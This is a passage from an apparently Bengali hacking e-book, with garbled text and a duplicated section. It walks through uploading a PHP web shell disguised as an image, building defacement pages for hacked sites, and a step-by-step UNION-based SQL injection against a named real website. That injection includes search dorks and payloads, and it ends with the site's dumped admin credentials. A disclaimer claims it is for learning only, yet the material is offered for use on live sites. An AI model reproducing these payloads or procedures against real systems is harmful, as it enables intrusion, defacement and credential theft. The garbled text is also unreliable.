Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 63: Hacking Bangla eBook

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 64: Hacking Bangla eBook

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

